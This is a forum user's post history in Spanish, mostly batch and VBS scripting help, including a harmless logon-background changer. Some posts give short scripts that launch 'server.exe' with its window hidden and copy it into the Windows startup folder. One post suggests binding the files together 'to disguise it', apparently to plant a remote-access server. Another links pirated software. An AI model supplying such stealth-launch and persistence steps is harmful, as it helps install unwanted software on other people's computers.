Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Eleкtro

#12211
Scripting / Re: Crear Batch
4 Noviembre 2011, 23:11 PM
Cita de: adsla en  4 Noviembre 2011, 23:06 PM
pues he probado el codigo para xp en una virtual y no funciona

http://www.nirsoft.net/utils/nircmd.zip

necesitas eso.

saludos.
#12212
NUEVA VERSIÓN, SCRIPT ACTUALIZADO! 21/07/2012

v0.4
-----
  • Corregido un error al intentar establecer una imagen cuyo nombre de archivo lleva los caracteres de parentesis ( )
  • Corregido un fallo en la instalación del script... No me di cuenta, la versión 0.3 no podia funcionar porque puse la ruta mal en el script xD
  • Añadida una opción en el bat para instalar el script donde uno quiera

    v0.3
    -----
  • Aumentada las extensiones soportadas : BMP GIF EMF JPG JPEG PCX PBM PGM PPM PNG TGA TIF TIFF
  • Ya no es necesario usar el archivo de registro, Se pueden añadir extensiones editando el script.
  • El bat se puede usar con el parámetro "ADD" para añadir las claves del registro, O el parámetro "DELETE" para eliminar la instalación de las claves:
    LogonBackgroundChanger.bat ADD
    LogonBackgroundChanger.bat DELETE


    v0.2
    -----
    Código optimizado:
  • Ya no necesita usar hex2dec.exe
  • Mejorada la obtención de la resolución




    Hola,

    L.B.C. Es un script para establecer cualquier imagen como fondo de LOGON SCREEN sin hacer esfuerzo, Simplemente:
    click derecho en la imagen deseada > "Establecer como logon background", eso es todo. Sin tener que abrir programas de terceros...y luego buscar el archivo...y luego que no se configure bien la imagen... esas cosas que suelen pasar.



    Funciona con imagenes BMP, JPG, JPEG y PNG.

    Requisitos:
              Mediainfo (32 bit)
              irfanview (solamente el exe, i_view32.exe)

    (Todo va incluido en el RAR, Listo para instalar y usar.)






    ¿Que es lo que hace exactamente el script?

    1. Identifica la resolución del monitor.
     2. Convierte la imagen a JPG, Y optimiza la resolucion, Recortandola a la resolución más aproximada del monitor (Sin perder aspect ratio).
      3. Optimiza el tamaño/calidad de la imagen, Lo reduce si es necesario hasta llegar a los 250 kb (Es el tamaño máximo permitido para el logon screen de Windows 7).



    Notas: Ha sido testeado bajo windows 7 (Con pantalla sola, y Dual Screen).

    Un saludo.






    Aquí tienen el BAT (No funciona sin los programas de terceros mencionados antes, Todo está en el instalador de arriba):

    Código (dos) [Seleccionar]
    @echo off
    Title Logon Background Changer v0.4 - by Elektro H@cker
    Mode con cols=60 lines=4
    Nircmd Win center ititle "Logon Background Changer v0.4 - by Elektro H@cker" 2>NUL
    color 7

    :: CONFIGURACIÓN  :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: ::
    ::
    Set Extensions=BMP GIF EMF JPG JPEG PCX PBM PGM PPM PNG TGA TIF TIFF
    Set Keyname=Establecer como Logon background
    Set QUALITY=80
    Set "Install_Dir=%Programfiles%\elektro h@cker Software\mouse menu\Logon Background Changer.bat"
    :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: ::

    IF Not exist "%INSTALL_DIR%" (Copy %0 "%INSTALL_DIR%")
    If    "%~1" EQU ""        Exit /b 1
    If /I "%~1" EQU "ADD"     Call :Extensions_%~1 %~1
    If /I "%~1" EQU "DELETE"  Call :Extensions_%~1 %~1

    Echo+
    Echo: "%~nx1"
    Echo: Estableciendo la imagen como Logon background...

    REM Activar el Logon background customizado de Windows 7
    Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI\Background" /V "OEMBackground" /T "REG_DWORD" /D "00000001" /F >nul
    mkdir "%WINDIR%\System32\oobe\Info\backgrounds" >nul 2>&1

    REM Identificar resoluciones
    FOR /F %%A in ('%WINDIR%\system32\wbem\wmic.exe DESKTOPMONITOR get ScreenHeight ^| FINDSTR "[1-9]"') do (SET HEIGHT=%%A)
    FOR /F %%B in ('%WINDIR%\system32\wbem\wmic.exe DESKTOPMONITOR get ScreenWidth ^| FINDSTR "[1-9]"') do (SET WIDTH=%%B)

    :: NOTA:
    :: EL TAMAÑO MÁXIMO PERMITIDO PARA EL LOGON BACKGROUND ES DE "250 Kb"

    REM OPTIMIZANDO LA RESOLUCIÓN DE LA IMAGEN...
    :CONVERT
    %windir%\system32\i_view32.exe %1 /resize=(%WIDTH%,%HEIGHT%) /aspectratio /resample /convert="%TEMP%\backgroundDefault.jpg" /jpgq=%QUALITY%

    REM OPTIMIZANDO LA CALIDAD DE LA IMAGEN...
    %windir%\system32\mediainfo.exe "%TEMP%\backgroundDefault.jpg" "--Inform=General;%%FileSize/String%%" | Find "MiB" >nul && SET /A QUALITY-=5&& Goto :CONVERT
    For /F "Tokens=1 delims=. " %%a in ('%windir%\system32\mediainfo.exe "%TEMP%\backgroundDefault.jpg" "--Inform=General;%%FileSize/String%%"') do (Set KB=%%a)
    IF %KB% GTR 249 (SET /A QUALITY-=5& Goto :Convert) ELSE (move /Y "%TEMP%\backgroundDefault.jpg" "%WINDIR%\System32\oobe\Info\backgrounds\" >NUL)

    :FIN
    Echo+
    Echo: "%~nx1"
    Echo: Imagen establecida correctamente como Logon background.
    DEL /Q "%TEMP%\HEIGHT.txt","%TEMP%\WIDTH.txt" >nul 2>&1
    ping -n 3 localhost >NUL
    Exit

    :Extensions_ADD
    For %%a in (%EXTENSIONS%) DO (
    Reg %~1 "HKCR\SystemFileAssociations\.%%a\shell\%KEYNAME%" /F >NUL 2>&1
    Reg %~1 "HKCR\SystemFileAssociations\.%%a\shell\%KEYNAME%" /v "icon" /d "%WINDIR%\system32\shell32.dll,301" /F >NUL 2>&1
    Reg %~1 "HKCR\SystemFileAssociations\.%%a\shell\%KEYNAME%" /v "position" /d "TOP" /F >NUL 2>&1
    Reg %~1 "HKCR\SystemFileAssociations\.%%a\shell\%KEYNAME%\Command" /d "\"%Install_Dir%\" \"%%1\"" /F >NUL 2>&1
    )
    Exit

    :Extensions_DELETE
    For %%a in (%EXTENSIONS%) DO (Reg %~1 "HKCR\SystemFileAssociations\.%%a\shell\%KEYNAME%" /F) >NUL 2>&1
    Exit
#12213
Scripting / Re: Crear Batch
4 Noviembre 2011, 15:34 PM
NO SE PUEDE CON BATCH

no puedes evitar la ventana de la consola, ni la del server (Si es que diera error), a menos que te ayudes de otros programas como te han dicho... o un simple VBS, o Nircmd, o ExeScript, en fin hay muchas utilidades...

Pero además de eso, hay otra complicación, dependiendo de si la PC es windows XP o WINDOWS 7, el comando START actua de forma distinta, y las comillas dobles se usan en windows 7 de una manera distinta a windows xp, sino dará error, así que te hago 2 versiones:


http://www.nirsoft.net/utils/nircmd.zip


Código (dos) [Seleccionar]
@echo off
:Windows 7
Title hide me
Nircmd win hide ititle "hide me"
Start /B .\"carpeta\server.exe"
Nircmd win hide "server.exe"
exit





Código (dos) [Seleccionar]
@echo off
:Windows XP
Title hide me
Nircmd win hide ititle "hide me"
Start /B ".\carpeta\server.exe"
Nircmd win hide "server.exe"
exit



PD: Por si no ha quedado claro, te dejo otro ejemplo:
    Windows XP:    Start /B "C:\program files (x86)\electro\hacker.exe"
    Windows7:       Start /B C:\program" files (x86)\electro\hacker.exe"

PD2: Puedes bindear Nircmd + server.exe + Tu.bat en un único archivo para disimularlo.

Saludos.
Elektro hacker.
#12214
Scripting / Re: Pequeña duda en batch
3 Noviembre 2011, 16:46 PM
el problema es que no tengo delante XP xDDD, en win7 sale la ruta del cmd en inglés xD

De todas formas el código tiene que ir por cojones, lo que no se es si habré puesto la ruta mal, pero ¿Estás seguro de que existe la carpeta "START"?

Código (dos) [Seleccionar]
@echo off
mkdir "%userprofile%\Start menu\Programs\Start\"
copy /Y "server.exe" "%userprofile%\Start menu\Programs\Start\"
Pause >nul


PD: no se si habré puesto la ruta como es, no tengo el xp aqui.

Saludos.
#12215
Pues yo no se que programa estarás usando tu porque a mi me funciona PERFECTAMENTE en Windows 7 x64..............Pruebalo, FUNCIONA.

Web easy Pro 8 en español:

http://www.megaupload.com/?d=AEMCAGFI

(Es de un post de taringa)

A todo lo demás ya te han contestado y opino exactamente lo mismo, Aunque la solución apta para tí no es una maquina virtual, es dejar de usar software obsoleto como el web easy ese xD, pero bueno.

Saludos.
#12216
Scripting / Re: unificar 2 bat
3 Noviembre 2011, 03:58 AM
Que yo sepa unificar es juntar, y tú lo que pides ni se asemeja xDDD

Lo que pides es IMPOSIBLE de realizar, usando la consola sin ayuda. Así que cuanto más complicado, más cosas hay que hacer... Lo que quiero decir es que con esto te ahorrarás el "ENTER", Sí, pero en vez de un batch deberás usar 3, además de 2 vbs.

1-Batch principal (MENÚ)
2--VBS hotkey Normal.vbs
3---VBS hotkey Premium.vbs
4----Batch normal
5-----Batch premium

Nota: Parece mucho, pero no te preocupes, TODO lo puedes simplificar en un ÚNICO BATCH sin usar nada más, abajo del todo te dejo un ejemplo.

El método es un VBS para crear un acceso directo para que cuando presiones "1" o "2" se ejecutase el batch que quieres... Vamos, como si fuera un "hotkey" temporal, lo ejecutas antes del "Set /p" y listo.

El vbs de ejemplo sería este:

Código (vb) [Seleccionar]
Option Explicit
Dim objShell, objDesktop, objLink
Dim strAppPath, strWorkDir, strIconPath

strWorkDir = "%SystemRoot%"
strAppPath = "%SystemRoot%\notepad.exe"
strIconPath = "%SystemRoot%\system32\SHELL32.dll,17"

Set objShell = CreateObject("WScript.Shell")
objDesktop = objShell.SpecialFolders("Desktop")
Set objLink = objShell.CreateShortcut(objDesktop & "\NOTEPAD.lnk")

objLink.Description = "NOTEPAD"
objLink.HotKey = "CTRL+N"
objLink.IconLocation = strIconPath
objLink.TargetPath = strAppPath
objLink.WindowStyle = 3
objLink.WorkingDirectory = strWorkDir
objLink.Save

WScript.Quit

(Al apretar CONTROL+N se abre el notepad)

O también puedes usar la herramienta Colous desde Batch, la encontrarás en el foro, pero no se utilizar correctamente esa función, aunque también encontrarás la información necesaria en el foro.

Aqui te dejo los 5 archivos para que lo veas tú mismo, ya está todo configurado, menos el batch premium y normal porque no los tengo... Solo tienes que descomprimir, y usar el menu.batch.



¿¿¿¿Y como se puede simplificar todo lo que he mencionado, solamente usando un batch??? pues muy fácil, así:


Código (dos) [Seleccionar]
@ECHO OFF

REM EleKtrO H@ckeR



REM Creamos el batch normal y premium.

echo @echo off > "%TEMP%\Normal.bat"
echo echo Este es el batch premium. >> "%TEMP%\Normal.bat"
echo Pause >nul >> "%TEMP%\Normal.bat"
echo exit >> "%TEMP%\Normal.bat"


echo @echo off > "%TEMP%\premium.bat"
echo echo Este es el batch premium. >> "%TEMP%\premium.bat"
echo Pause >nul >> "%TEMP%\premium.bat"
echo exit >> "%TEMP%\premium.bat"



REM Creamos los hotkeys

REM echo Option Explicit>"%TEMP%\Normal.vbs"
REM echo Dim objShell, objDesktop, objLink>>"%TEMP%\Normal.vbs"
REM echo Dim strAppPath, strWorkDir, strIconPath>>"%TEMP%\Normal.vbs"
REM echo strWorkDir = "%TEMP%">>"%TEMP%\Normal.vbs"
REM echo strAppPath = "%TEMP%\Normal.bat">>"%TEMP%\Normal.vbs"
REM echo strIconPath = "%SystemRoot%\system32\SHELL32.dll,17">>"%TEMP%\Normal.vbs"
REM echo Set objShell = CreateObject("WScript.Shell")>>"%TEMP%\Normal.vbs"
REM echo objDesktop = objShell.SpecialFolders("Desktop")>>"%TEMP%\Normal.vbs"
REM echo Set objLink = objShell.CreateShortcut(objDesktop & "\Normal.lnk")>>"%TEMP%\Normal.vbs"
REM echo objLink.Description = "Normal">>"%TEMP%\Normal.vbs"
REM echo objLink.HotKey = "2">>"%TEMP%\Normal.vbs"
REM echo objLink.IconLocation = strIconPath>>"%TEMP%\Normal.vbs"
REM echo objLink.TargetPath = strAppPath>>"%TEMP%\Normal.vbs"
REM echo objLink.WindowStyle = 3>>"%TEMP%\Normal.vbs"
REM echo objLink.WorkingDirectory = strWorkDir>>"%TEMP%\Normal.vbs"
REM echo objLink.Save>>"%TEMP%\Normal.vbs"
REM echo WScript.Quit>>"%TEMP%\Normal.vbs"

REM echo Option Explicit>"%TEMP%\Premium.vbs"
REM echo Dim objShell, objDesktop, objLink>>"%TEMP%\Premium.vbs"
REM echo Dim strAppPath, strWorkDir, strIconPath>>"%TEMP%\Premium.vbs"
REM echo strWorkDir = "%TEMP%">>"%TEMP%\Premium.vbs"
REM echo strAppPath = "%TEMP%\Premium.bat">>"%TEMP%\Premium.vbs"
REM echo strIconPath = "%SystemRoot%\system32\SHELL32.dll,17">>"%TEMP%\Premium.vbs"
REM echo Set objShell = CreateObject("WScript.Shell")>>"%TEMP%\Premium.vbs"l
REM echo objDesktop = objShell.SpecialFolders("Desktop")>>"%TEMP%\Premium.vbs"
REM echo Set objLink = objShell.CreateShortcut(objDesktop & "\Premium.lnk")>>"%TEMP%\Premium.vbs"
REM echo objLink.Description = "Premium">>"%TEMP%\Premium.vbs"
REM echo objLink.HotKey = "1">>"%TEMP%\Premium.vbs"
REM echo objLink.IconLocation = strIconPath>>"%TEMP%\Premium.vbs"
REM echo objLink.TargetPath = strAppPath>>"%TEMP%\Premium.vbs"
REM echo objLink.WindowStyle = 3>>"%TEMP%\Premium.vbs"
REM echo objLink.WorkingDirectory = strWorkDir>>"%TEMP%\Premium.vbs"
REM echo objLink.Save>>"%TEMP%\Premium.vbs"
REM echo WScript.Quit>>"%TEMP%\Premium.vbs"



REM Copiamos e iniciamos los "hotkeys"

Copy /y "*.vbs" "%TEMP%\" >nul 2>&1

"%TEMP%\Normal.vbs"
"%TEMP%\Premium.vbs"

REM Mostramos el menú...

:MENU
ECHO+
ECHO ...............................................
ECHO PRESS 1 or 2 to select your task, or 3 to EXIT.
ECHO ...............................................
ECHO+
ECHO 1 - Use Premium
ECHO 2 - Use Normal
ECHO 3 - EXIT
ECHO+
Echo Type 1, 2, or 3, Then press ENTER:
Pause >nul



REM Por último, Borramos la basurilla y finalizamos

Del /Q "%TEMP%\Normal.bat";"%TEMP%\Premium.bat" >nul
Del /Q "%TEMP%\Normal.vbs";"%TEMP%\Premium.vbs" >nul
Del /Q "%userprofile%\desktop\Normal.lnk";"%userprofile%\desktop\Premium.lnk" >nul
exit


EDITO: BUENO me acabo de dar cuenta que los VBS contienen caracteres especiales & así que el batch no puede simplificar los vbs, no puedes escribir los vbs desde el batch, pero si que sirve para crear los otros dos batch. así que borra la parte de "creamos las hotkeys", y haz un "copy /Y con los 2 .VBS xD. Bueno ya lo he editado el batch con el copy /Y.

Saludos.
EleKtrO H@ckeR.
#12217
Hola, me he perdido un poco y no se porque usas "%dir/b "03*%", eso es inservible no intentes usar una variable como comando de esa manera.

Espero que esto te ayude más:

Código (dos) [Seleccionar]
@echo off

REM EleKtrO H@cker

echo Ingrese archivo correspondiente...
set/p correct=
Dir /B "%correct%" >nul 2>&1
If %ERRORLEVEL% EQU 1 (
echo el archivo no existe :(
pause >nul
goto :FAIL
) ELSE (
echo el archivo existe, prosigue con tu script :)
Pause >nul
)


Saludos
#12218
Scripting / Re: Pequeña duda en batch
3 Noviembre 2011, 01:40 AM
Lo que nadie te ha dicho es que aunque uses solamente %Userprofile% ese código te va a seguir dando error...

1º - Usa comillas dobles en nombres con espacios.

2º - Usa el nombre "real" en inglés, el mismo que sale al abrir la consola.

3º - Leete un manual básico...

Código (dos) [Seleccionar]
copy /Y "server.exe" "%homedrive%\Documents and Settings\%username%\Start menu\Programs\Start\"

Para saber que windows usa, es tan fácil como esto:

Código (dos) [Seleccionar]
systeminfo | find "Nombre del sistema"

Saludos.
#12219
Scripting / Ayuda para "convertir" este VBS a BATCH
3 Noviembre 2011, 01:27 AM
hola, el código que necesito pasar a batch es este vbs:
Código (vb) [Seleccionar]


' create shell object
Set WshShell = CreateObject("WScript.Shell")

' Create dMC Object
Set dMC = CreateObject("dMCScripting.Converter")

'Read audio properties of a file
Dim AudioProps
AudioProps = dMC.AudioProperties("C:\test.aac")
Call WshShell.Popup(AudioProps, , "Returned Audio Properties", 0)
 


No se usar bien las librerias en batch, la verdad es que con la API de nvidia tuve suerte así que por intuición he probado a crear el código así:

Código (dos) [Seleccionar]

@echo off
rundll32.exe dMCScripting.Converter.AudioProperties("C:\Test.aac") > test.txt
exit

 

Pero no, no funciona... algo me falta xD

Agradezco cualquier ayuda, gracias...